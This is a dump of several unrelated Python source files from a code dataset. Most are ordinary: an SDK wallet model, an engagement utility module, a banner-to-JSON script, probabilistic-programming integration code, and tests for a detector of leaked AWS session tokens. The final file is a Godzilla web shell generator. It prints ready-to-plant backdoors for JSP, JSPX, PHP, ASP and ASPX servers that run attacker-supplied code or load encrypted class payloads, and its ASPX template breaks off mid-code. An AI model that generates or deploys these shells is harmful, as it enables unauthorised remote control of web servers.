content
stringlengths
0
894k
type
stringclasses
2 values
# Copyright (c) 2021 AccelByte Inc. All Rights Reserved. # This is licensed software from AccelByte Inc, for limitations # and restrictions contact your company contract manager. # # Code generated. DO NOT EDIT! # template file: justice_py_sdk_codegen/__main__.py # justice-platform-service (4.10.0) # pylint: disable=duplicate-code # pylint: disable=line-too-long # pylint: disable=missing-function-docstring # pylint: disable=missing-module-docstring # pylint: disable=too-many-arguments # pylint: disable=too-many-branches # pylint: disable=too-many-instance-attributes # pylint: disable=too-many-lines # pylint: disable=too-many-locals # pylint: disable=too-many-public-methods # pylint: disable=too-many-return-statements # pylint: disable=too-many-statements # pylint: disable=unused-import from __future__ import annotations from typing import Any, Dict, List, Optional, Tuple, Union from ....core import Model from ..models.wallet_info import WalletInfo class CurrencyWallet(Model): """Currency wallet (CurrencyWallet) Properties: balance: (balance) REQUIRED int currency_code: (currencyCode) REQUIRED str currency_symbol: (currencySymbol) REQUIRED str namespace: (namespace) REQUIRED str user_id: (userId) REQUIRED str total_permanent_balance: (totalPermanentBalance) OPTIONAL int total_time_limited_balance: (totalTimeLimitedBalance) OPTIONAL int wallet_infos: (walletInfos) OPTIONAL List[WalletInfo] """ # region fields balance: int # REQUIRED currency_code: str # REQUIRED currency_symbol: str # REQUIRED namespace: str # REQUIRED user_id: str # REQUIRED total_permanent_balance: int # OPTIONAL total_time_limited_balance: int # OPTIONAL wallet_infos: List[WalletInfo] # OPTIONAL # endregion fields # region with_x methods def with_balance(self, value: int) -> CurrencyWallet: self.balance = value return self def with_currency_code(self, value: str) -> CurrencyWallet: self.currency_code = value return self def with_currency_symbol(self, value: str) -> CurrencyWallet: self.currency_symbol = value return self def with_namespace(self, value: str) -> CurrencyWallet: self.namespace = value return self def with_user_id(self, value: str) -> CurrencyWallet: self.user_id = value return self def with_total_permanent_balance(self, value: int) -> CurrencyWallet: self.total_permanent_balance = value return self def with_total_time_limited_balance(self, value: int) -> CurrencyWallet: self.total_time_limited_balance = value return self def with_wallet_infos(self, value: List[WalletInfo]) -> CurrencyWallet: self.wallet_infos = value return self # endregion with_x methods # region to methods def to_dict(self, include_empty: bool = False) -> dict: result: dict = {} if hasattr(self, "balance"): result["balance"] = int(self.balance) elif include_empty: result["balance"] = 0 if hasattr(self, "currency_code"): result["currencyCode"] = str(self.currency_code) elif include_empty: result["currencyCode"] = "" if hasattr(self, "currency_symbol"): result["currencySymbol"] = str(self.currency_symbol) elif include_empty: result["currencySymbol"] = "" if hasattr(self, "namespace"): result["namespace"] = str(self.namespace) elif include_empty: result["namespace"] = "" if hasattr(self, "user_id"): result["userId"] = str(self.user_id) elif include_empty: result["userId"] = "" if hasattr(self, "total_permanent_balance"): result["totalPermanentBalance"] = int(self.total_permanent_balance) elif include_empty: result["totalPermanentBalance"] = 0 if hasattr(self, "total_time_limited_balance"): result["totalTimeLimitedBalance"] = int(self.total_time_limited_balance) elif include_empty: result["totalTimeLimitedBalance"] = 0 if hasattr(self, "wallet_infos"): result["walletInfos"] = [i0.to_dict(include_empty=include_empty) for i0 in self.wallet_infos] elif include_empty: result["walletInfos"] = [] return result # endregion to methods # region static methods @classmethod def create( cls, balance: int, currency_code: str, currency_symbol: str, namespace: str, user_id: str, total_permanent_balance: Optional[int] = None, total_time_limited_balance: Optional[int] = None, wallet_infos: Optional[List[WalletInfo]] = None, ) -> CurrencyWallet: instance = cls() instance.balance = balance instance.currency_code = currency_code instance.currency_symbol = currency_symbol instance.namespace = namespace instance.user_id = user_id if total_permanent_balance is not None: instance.total_permanent_balance = total_permanent_balance if total_time_limited_balance is not None: instance.total_time_limited_balance = total_time_limited_balance if wallet_infos is not None: instance.wallet_infos = wallet_infos return instance @classmethod def create_from_dict(cls, dict_: dict, include_empty: bool = False) -> CurrencyWallet: instance = cls() if not dict_: return instance if "balance" in dict_ and dict_["balance"] is not None: instance.balance = int(dict_["balance"]) elif include_empty: instance.balance = 0 if "currencyCode" in dict_ and dict_["currencyCode"] is not None: instance.currency_code = str(dict_["currencyCode"]) elif include_empty: instance.currency_code = "" if "currencySymbol" in dict_ and dict_["currencySymbol"] is not None: instance.currency_symbol = str(dict_["currencySymbol"]) elif include_empty: instance.currency_symbol = "" if "namespace" in dict_ and dict_["namespace"] is not None: instance.namespace = str(dict_["namespace"]) elif include_empty: instance.namespace = "" if "userId" in dict_ and dict_["userId"] is not None: instance.user_id = str(dict_["userId"]) elif include_empty: instance.user_id = "" if "totalPermanentBalance" in dict_ and dict_["totalPermanentBalance"] is not None: instance.total_permanent_balance = int(dict_["totalPermanentBalance"]) elif include_empty: instance.total_permanent_balance = 0 if "totalTimeLimitedBalance" in dict_ and dict_["totalTimeLimitedBalance"] is not None: instance.total_time_limited_balance = int(dict_["totalTimeLimitedBalance"]) elif include_empty: instance.total_time_limited_balance = 0 if "walletInfos" in dict_ and dict_["walletInfos"] is not None: instance.wallet_infos = [WalletInfo.create_from_dict(i0, include_empty=include_empty) for i0 in dict_["walletInfos"]] elif include_empty: instance.wallet_infos = [] return instance @classmethod def create_many_from_dict(cls, dict_: dict, include_empty: bool = False) -> Dict[str, CurrencyWallet]: return {k: cls.create_from_dict(v, include_empty=include_empty) for k, v in dict_} if dict_ else {} @classmethod def create_many_from_list(cls, list_: list, include_empty: bool = False) -> List[CurrencyWallet]: return [cls.create_from_dict(i, include_empty=include_empty) for i in list_] if list_ else [] @classmethod def create_from_any(cls, any_: any, include_empty: bool = False, many: bool = False) -> Union[CurrencyWallet, List[CurrencyWallet], Dict[Any, CurrencyWallet]]: if many: if isinstance(any_, dict): return cls.create_many_from_dict(any_, include_empty=include_empty) elif isinstance(any_, list): return cls.create_many_from_list(any_, include_empty=include_empty) else: raise ValueError() else: return cls.create_from_dict(any_, include_empty=include_empty) @staticmethod def get_field_info() -> Dict[str, str]: return { "balance": "balance", "currencyCode": "currency_code", "currencySymbol": "currency_symbol", "namespace": "namespace", "userId": "user_id", "totalPermanentBalance": "total_permanent_balance", "totalTimeLimitedBalance": "total_time_limited_balance", "walletInfos": "wallet_infos", } @staticmethod def get_required_map() -> Dict[str, bool]: return { "balance": True, "currencyCode": True, "currencySymbol": True, "namespace": True, "userId": True, "totalPermanentBalance": False, "totalTimeLimitedBalance": False, "walletInfos": False, } # endregion static methods
python
# -*- coding: utf-8 -*- import unittest from unittest import mock from pastepwn.analyzers.awssessiontokenanalyzer import AWSSessionTokenAnalyzer class TestAWSSessionTokenAnalyzer(unittest.TestCase): def setUp(self): self.analyzer = AWSSessionTokenAnalyzer(None) self.paste = mock.Mock() def test_mach_positive(self): """Test if positives are recognized""" self.paste.body = r"'aws_session_token'\\ssss:\\ssss'AiughaiusDWIHJFUFERHO2134234'" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"'aws'\\ssss:\\ssss'auyhguywgerdbyubduiywebh'" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session'\\ssss:\\ssss'YTUF5GUY76ibuihIUIU98jJB+//='" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session_token'\\s:\\s'auyhguywgerdbyubduiywebh'" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session_token'\\:\\'auyhguywgerdbyubduiywebh'" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session_token'\\:\\'auyhguywgerdbyubduiywebh'" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'" match = self.analyzer.match(self.paste) self.assertTrue(match) self.assertEqual(r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'", match[0]) self.paste.body = r"\\=\\'auyhguywgerdbyubduiywebh'" self.assertTrue(self.analyzer.match(self.paste)) self.paste.body = r"\\=>\\'auyhguywgerdbyubduiywebh'" self.assertTrue(self.analyzer.match(self.paste)) def test_intext(self): """Test if matches inside text are recognized""" self.paste.body = r"Please always use this session token: \\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'. Cu soon." match = self.analyzer.match(self.paste) self.assertTrue(match) self.assertEqual(r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'", match[0]) self.paste.body = r"Also there are other tokens such as \\=\\'auyhguywgerdbyubduiywebh' which is pretty short" match = self.analyzer.match(self.paste) self.assertTrue(match) self.assertEqual(r"\\=\\'auyhguywgerdbyubduiywebh'", match[0]) def test_multiple(self): """Test if multiple matches are recognized""" self.paste.body = r"Please always use this session token: " \ r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'. Also we can use shorter" \ r"tokens such as \\=\\'auyhguywgerdbyubduiywebh' which is quite handy." match = self.analyzer.match(self.paste) self.assertTrue(match) self.assertEqual(r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'", match[0]) self.assertEqual(r"\\=\\'auyhguywgerdbyubduiywebh'", match[1]) def test_match_negative(self): """Test if negatives are recognized""" self.paste.body = "\\ssss:\\ssss'Aiughai'" self.assertFalse(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session'\ssss:\\ssss'YTUF5GUY76ibuihIUIU98jJB+ÒÈÒà'" self.assertFalse(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session_asd'\\aaa:\\ssss'auyhguywgerdbyubduiywebh'" self.assertFalse(self.analyzer.match(self.paste)) self.paste.body = r"\"aws_session\"\\ssss:\ssss'auyhguywgerdbyubduiywebh'" self.assertFalse(self.analyzer.match(self.paste)) self.paste.body = r"'aws_session'\\ssss$\\ssss'auyhguywgerdbyubduiywebh'" self.assertFalse(self.analyzer.match(self.paste)) # We need to use triple strings here - https://stackoverflow.com/questions/27467870/escape-single-quote-in-raw-string-r self.paste.body = r"""Any text 'aws_session'\\ssss:\\ssss"auyhguywgerdbyubduiywebh" and more after""" self.assertFalse(self.analyzer.match(self.paste)) if __name__ == "__main__": unittest.main()
python
"""app.engagement.utils module""" from typing import List from uuid import UUID from app.engagement.models import Engagement from app.engagement.repositories import EngagementRepository def create_engagement(**kwargs) -> Engagement: """ Create engagement. Returns: Engagement created. """ new_engagement = Engagement( title=kwargs['title'], description=kwargs.get('description', None), start_date=kwargs.get('start_date', None), end_date=kwargs.get('end_date', None), color=kwargs.get('color', None), client_id=kwargs['client_id'], line_of_service_id=kwargs.get('line_of_service_id')) return EngagementRepository.create(new_engagement) def update_engagement(engagement_id: UUID, **kwargs) -> Engagement: """ Updates an engagement. Args: engagement_id (UUID): ID of engagement to be updated. Returns: Engagement updated. Raises: ValueError if the engagement with the ID specified does not exist. """ engagement_for_update = EngagementRepository.get_one_by_id(engagement_id) if not engagement_for_update: raise ValueError('Engagement with ID specified does not exist.') update_fields = ('title', 'description', 'start_date', 'end_date', 'color', 'status', 'client_id', 'line_of_service_id', 'organization_id',) return EngagementRepository.update_by_id( model_id=engagement_id, fields_for_update=update_fields, **kwargs) def list_engagements() -> List[Engagement]: """ List engagements. Returns: List of engagements. """ return EngagementRepository.get_all() def get_engagement(engagement_id: UUID) -> Engagement: """ Get engagement by ID. Args: engagement_id (UUID): ID of engagement to be returned. Returns: Engagement whose ID has been supplied. """ return EngagementRepository.get_one_by_id(model_id=engagement_id)
python
#!/usr/bin/python3 # -*- coding: UTF-8 -*- import argparse import datetime import json ANDROID = 'android' IOS = 'ios' ORIG_ACTION_2 = 'Action2' ORIG_SEARCH_QUERY_2 = 'SearchQuery2' ORIG_CAMPAIGN_NAME = 'campaign name' ORIG_ONLINE_TIME = 'Online time' ORIG_OFFLINE_TIME = 'Offline time' DESCRIPTION = 'description' DEEP_LINK = 'deepLink' ACTION_2 = 'action2' SEARCH_QUERY_2 = 'searchQuery2' CAMPAIGN_NAME = 'campaignName' BANNER_URL = 'bannerUrl' MIN_TIME = 'minTime' MAX_TIME = 'maxTime' def read_banner(file_name, banner_url): data = {IOS: [], ANDROID: []} try: with open(file_name) as file: lines = file.readlines() new_node = True for i, line in enumerate(lines): # print(f'Line {i}: {line}') if line == '\n': new_node = True elif new_node: # if 'node_ios' in dir() and 'node_android' in dir(): # format_description(node_ios) # format_description(node_android) # print(f'node_ios {i}: {node_ios}') # print(f'node_android {i}: {node_android}') node_ios = {} node_android = {} data[IOS].append(node_ios) data[ANDROID].append(node_android) description = line.strip() node_ios[DESCRIPTION] = description node_android[DESCRIPTION] = description node_ios[DEEP_LINK] = {} node_android[DEEP_LINK] = {} new_node = False else: item = line.strip().split(':', 1) key = map_key(item[0].strip()) append_value(key, item[1].strip(), node_ios, node_android, banner_url) # print(f'data: {data}') for i, node in enumerate(data[IOS]): format_description(node) print(f'node_ios {i}: {node}') for i, node in enumerate(data[ANDROID]): format_description(node) print(f'node_android {i}: {node}') except Exception as e: print(e) raise finally: file.close() # print(data) return data def save_banner(banner_dict, out_file): print(f'\n\n\n*******************\nsave banner to {out_file}\n') # print(f"\nbanner:\n{banner}\n\n\n\n\n\n") result = json.dumps(obj=banner_dict, indent=2, sort_keys=False) # print(f"\n\nNEW banner:\n{result}") try: with open(out_file, "w") as file: file.write(result) except Exception as e: print(e) raise finally: file.close() def format_description(node): time_stamp = '' if MIN_TIME in node and node[MIN_TIME]: time_stamp = ' from [%s]' % transform_millisecond_to_date_time_string(node[MIN_TIME]) # print(f'time_stamp: {time_stamp}') if MAX_TIME in node and node[MAX_TIME]: time_stamp += ' to [%s]' % transform_millisecond_to_date_time_string(node[MAX_TIME]) # print(f'time_stamp: {time_stamp}') if time_stamp: node[DESCRIPTION] += time_stamp def map_key(key): if key == ORIG_ACTION_2: return ACTION_2 elif key == ORIG_SEARCH_QUERY_2: return SEARCH_QUERY_2 elif key.lower() == ORIG_CAMPAIGN_NAME: return CAMPAIGN_NAME elif key.lower() == ORIG_ONLINE_TIME.lower(): return MIN_TIME elif key.lower() == ORIG_OFFLINE_TIME.lower(): return MAX_TIME else: return key def append_value(key, value, node_ios, node_android, banner_url): if key == CAMPAIGN_NAME: campaigns = value.rsplit('-', 1) campaign_prefix = campaigns[0] campaign_platforms = campaigns[1].split('/', 1) # print(f'campaign: {campaign_prefix} / {campaign_platforms}') for campaignPlatform in campaign_platforms: if campaignPlatform.lower() == IOS: campaign_name = campaign_prefix + '-' + campaignPlatform node_ios[CAMPAIGN_NAME] = campaign_name node_ios[BANNER_URL] = banner_url + campaign_name + '.png' elif campaignPlatform.lower() == ANDROID: campaign_name = campaign_prefix + '-' + campaignPlatform node_android[CAMPAIGN_NAME] = campaign_name node_android[BANNER_URL] = banner_url + campaign_name + '.png' else: raise (Exception("unknown campaign platform {campaignPlatform}")) elif key == MIN_TIME: date_time = transform_string_to_date_time(value) # print(f'minTime: {date_time}') node_ios[key] = date_time node_android[key] = date_time elif key == MAX_TIME: date_time = transform_string_to_date_time(value) # print(f'maxTime: {date_time}') node_ios[key] = date_time node_android[key] = date_time elif key == ACTION_2 or key == SEARCH_QUERY_2: node_ios[DEEP_LINK][key] = value.lower() node_android[DEEP_LINK][key] = value.lower() else: node_ios[key] = value node_android[key] = value def transform_string_to_date_time(value): # 2020-01-05 09:00 AM return datetime.datetime.strptime(value, '%Y-%m-%d %I:%M %p').timestamp() * 1000 def transform_millisecond_to_date_time_string(value): # 2020-01-05 09:00 AM return datetime.datetime.fromtimestamp(value / 1000).strftime('%Y-%m-%d %I:%M %p') parser = argparse.ArgumentParser(description='Test for argparse') parser.add_argument('--banner', '-b', help='banner info file 属性,必要参数', required=True) parser.add_argument('--bannerUrl', '-burl', help='banner URL file 属性,必要参数', required=True) parser.add_argument('--out', '-o', help='output json file 属性,非必要参数', required=False) args = parser.parse_args() if __name__ == '__main__': banner = args.banner bannerUrl = args.bannerUrl out = args.out or '%s_after.json' % banner print(f""" banner file: {banner} bannerUrl file: {bannerUrl} out file: {out} """) banner = read_banner(banner, bannerUrl) save_banner(banner, out)
python
# Copyright Contributors to the Pyro project. # SPDX-License-Identifier: Apache-2.0 from collections import OrderedDict from functools import reduce from typing import Tuple, Union import funsor.ops as ops from funsor.cnf import Contraction, GaussianMixture from funsor.constant import Constant from funsor.delta import Delta from funsor.gaussian import Gaussian, _norm2, _vm, align_gaussian from funsor.interpretations import eager, normalize from funsor.tensor import Tensor from funsor.terms import ( Funsor, FunsorMeta, Number, Subs, Unary, Variable, _convert_reduced_vars, substitute, to_funsor, ) class IntegrateMeta(FunsorMeta): """ Wrapper to convert reduced_vars arg to a frozenset of str. """ def __call__(cls, log_measure, integrand, reduced_vars): inputs = log_measure.inputs.copy() inputs.update(integrand.inputs) reduced_vars = _convert_reduced_vars(reduced_vars, inputs) return super().__call__(log_measure, integrand, reduced_vars) class Integrate(Funsor, metaclass=IntegrateMeta): """ Funsor representing an integral wrt a log density funsor. :param Funsor log_measure: A log density funsor treated as a measure. :param Funsor integrand: An integrand funsor. :param reduced_vars: An input name or set of names to reduce. :type reduced_vars: str, Variable, or set or frozenset thereof. """ def __init__(self, log_measure, integrand, reduced_vars): assert isinstance(log_measure, Funsor) assert isinstance(integrand, Funsor) assert isinstance(reduced_vars, frozenset) assert all(isinstance(v, Variable) for v in reduced_vars) reduced_names = frozenset(v.name for v in reduced_vars) inputs = OrderedDict( (k, d) for term in (log_measure, integrand) for (k, d) in term.inputs.items() if k not in reduced_names ) output = integrand.output fresh = frozenset() bound = {v.name: v.output for v in reduced_vars} super(Integrate, self).__init__(inputs, output, fresh, bound) self.log_measure = log_measure self.integrand = integrand self.reduced_vars = reduced_vars def _alpha_convert(self, alpha_subs): assert set(self.bound).issuperset(alpha_subs) reduced_vars = frozenset( Variable(alpha_subs.get(v.name, v.name), v.output) for v in self.reduced_vars ) alpha_subs = { k: to_funsor( v, self.integrand.inputs.get(k, self.log_measure.inputs.get(k)) ) for k, v in alpha_subs.items() } log_measure = substitute(self.log_measure, alpha_subs) integrand = substitute(self.integrand, alpha_subs) return log_measure, integrand, reduced_vars @normalize.register(Integrate, Funsor, Funsor, frozenset) def normalize_integrate(log_measure, integrand, reduced_vars): return Contraction(ops.add, ops.mul, reduced_vars, log_measure.exp(), integrand) @normalize.register( Integrate, Contraction[Union[ops.NullOp, ops.LogaddexpOp], ops.AddOp, frozenset, tuple], Funsor, frozenset, ) def normalize_integrate_contraction(log_measure, integrand, reduced_vars): reduced_names = frozenset(v.name for v in reduced_vars) delta_terms = [ t for t in log_measure.terms if isinstance(t, Delta) and t.fresh.intersection(reduced_names, integrand.inputs) ] for delta in delta_terms: delta_fresh = frozenset(Variable(k, delta.inputs[k]) for k in delta.fresh) args = delta, integrand, delta_fresh integrand = eager.dispatch(Integrate, *args)(*args) return normalize_integrate(log_measure, integrand, reduced_vars) EagerConstant = Constant[ Tuple, Union[ Variable, Delta, Gaussian, Unary[ops.NegOp, Gaussian], Number, Tensor, GaussianMixture, ], ] @eager.register( Contraction, ops.AddOp, ops.MulOp, frozenset, Unary[ops.ExpOp, Union[GaussianMixture, Delta, Gaussian, Number, Tensor]], ( Variable, Delta, Gaussian, Unary[ops.NegOp, Gaussian], Number, Tensor, GaussianMixture, EagerConstant, ), ) def eager_contraction_binary_to_integrate(red_op, bin_op, reduced_vars, lhs, rhs): reduced_names = frozenset(v.name for v in reduced_vars) if not (reduced_names.issubset(lhs.inputs) and reduced_names.issubset(rhs.inputs)): args = red_op, bin_op, reduced_vars, (lhs, rhs) result = eager.dispatch(Contraction, *args)(*args) if result is not None: return result args = lhs.log(), rhs, reduced_vars result = eager.dispatch(Integrate, *args)(*args) if result is not None: return result return None @eager.register(Integrate, GaussianMixture, Funsor, frozenset) def eager_integrate_gaussianmixture(log_measure, integrand, reduced_vars): real_vars = frozenset(v for v in reduced_vars if v.dtype == "real") if reduced_vars <= real_vars: discrete, gaussian = log_measure.terms return discrete.exp() * Integrate(gaussian, integrand, reduced_vars) return None ######################################## # Delta patterns ######################################## @eager.register(Integrate, Delta, Funsor, frozenset) def eager_integrate(delta, integrand, reduced_vars): delta_fresh = frozenset(Variable(k, delta.inputs[k]) for k in delta.fresh) if reduced_vars.isdisjoint(delta_fresh): return None reduced_names = frozenset(v.name for v in reduced_vars) subs = tuple( (name, point) for name, (point, log_density) in delta.terms if name in reduced_names ) new_integrand = Subs(integrand, subs) new_log_measure = Subs(delta, subs) result = Integrate(new_log_measure, new_integrand, reduced_vars - delta_fresh) return result ######################################## # Gaussian patterns ######################################## @eager.register(Integrate, Gaussian, Variable, frozenset) def eager_integrate_gaussian_variable(log_measure, integrand, reduced_vars): real_input_vars = frozenset(v for v in log_measure.input_vars if v.dtype == "real") real_vars = reduced_vars & real_input_vars if real_vars == frozenset([integrand]): if real_vars != real_input_vars: return None # TODO implement this loc = log_measure._mean data = loc * ops.unsqueeze(ops.exp(log_measure._log_normalizer), -1) data = data.reshape(loc.shape[:-1] + integrand.output.shape) inputs = OrderedDict( (k, d) for k, d in log_measure.inputs.items() if d.dtype != "real" ) result = Tensor(data, inputs) return result.reduce(ops.add, reduced_vars - real_vars) return None # defer to default implementation @eager.register(Integrate, Gaussian, Gaussian, frozenset) def eager_integrate_gaussian_gaussian(log_measure, integrand, reduced_vars): assert log_measure.is_full_rank reduced_names = frozenset(v.name for v in reduced_vars) real_vars = frozenset(v.name for v in reduced_vars if v.dtype == "real") if real_vars: lhs_reals = frozenset( k for k, d in log_measure.inputs.items() if d.dtype == "real" ) rhs_reals = frozenset( k for k, d in integrand.inputs.items() if d.dtype == "real" ) if lhs_reals == real_vars and rhs_reals <= real_vars: inputs = OrderedDict( (k, d) for t in (log_measure, integrand) for k, d in t.inputs.items() ) lhs_white_vec, lhs_prec_sqrt = align_gaussian(inputs, log_measure) rhs_white_vec, rhs_prec_sqrt = align_gaussian(inputs, integrand) lhs = Gaussian( white_vec=lhs_white_vec, prec_sqrt=lhs_prec_sqrt, inputs=inputs ) # Compute the expectation of a non-normalized quadratic form. # See "The Matrix Cookbook" (November 15, 2012) ss. 8.2.2 eq. 380. # http://www.math.uwaterloo.ca/~hwolkowi/matrixcookbook.pdf # If x ~ N(mean,cov) then # E[(x-m)' A (x-m)] = (m-mean)'A(m-mean) + Tr(A cov) # eq. 380 # To perform this computation in rhs's internal space, we first transform # lhs to rhs's whitened space mean = _vm(lhs._mean, rhs_prec_sqrt) norm = ops.exp(lhs._log_normalizer) # Then in rhs's whitened space, A = I so Tr(A cov) = Tr(cov). vmv_term = _norm2(rhs_white_vec - mean) trace_term = ( (ops.triangular_solve(rhs_prec_sqrt, lhs._precision_chol) ** 2) .sum(-1) .sum(-1) ) data = (-0.5) * norm * (vmv_term + trace_term) inputs = OrderedDict( (k, d) for k, d in inputs.items() if k not in reduced_names ) result = Tensor(data, inputs) return result.reduce(ops.add, reduced_names - real_vars) raise NotImplementedError("TODO implement partial integration") return None # defer to default implementation @eager.register(Integrate, Gaussian, Unary[ops.NegOp, Gaussian], frozenset) def eager_integrate_neg_gaussian(log_measure, integrand, reduced_vars): return -Integrate(log_measure, integrand.arg, reduced_vars) @eager.register( Integrate, Gaussian, Contraction[ ops.NullOp, ops.AddOp, frozenset, Tuple[Union[Gaussian, Unary[ops.NegOp, Gaussian]], ...], ], frozenset, ) def eager_distribute_integrate(log_measure, integrand, reduced_vars): return reduce( ops.add, [ -Integrate(log_measure, term.arg, reduced_vars) if isinstance(term, Unary) else Integrate(log_measure, term, reduced_vars) for term in integrand.terms ], ) __all__ = [ "Integrate", ]
python
import core.cv as cv def r(one,r1,r2): r2 = cv.cmd5(r2)[0:16] return one.replace('"pass"','"'+r1+'"').replace("3c6e0b8a9c15224a", r2) def get(type,pwd,key): print("godzilla-v4.0.1 \nhttps://github.com/shack2/skyscorpion\n"+"-"*64) if type == "jsp": print(r(jsp,pwd,key)) elif type == "jspx": print(r(jspx,pwd,key)) elif type == "php": print(r(php,pwd,key)) elif type == "asp": print(r(asp,pwd,key)) elif type == "aspx" or type == ".net" or type == "c#": print(r(aspx,pwd,key)) jsp='''JAVA_AES_BASE64.jsp\n\n<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>''' jspx='''JAVA_AES_BASE64.jspx\n\n<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} </jsp:scriptlet></jsp:root>''' php='''PHP_EVAL_XOR_BASE4.php\n\n<?php eval($_POST["pass"]); ''' asp='''ASP_EVAL_BASE64.asp\n\n<%eval request("pass")%> ''' aspx='''CSHAP_AES_BASE64.aspx\n\n<%@ Page Language="C#"%><%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = 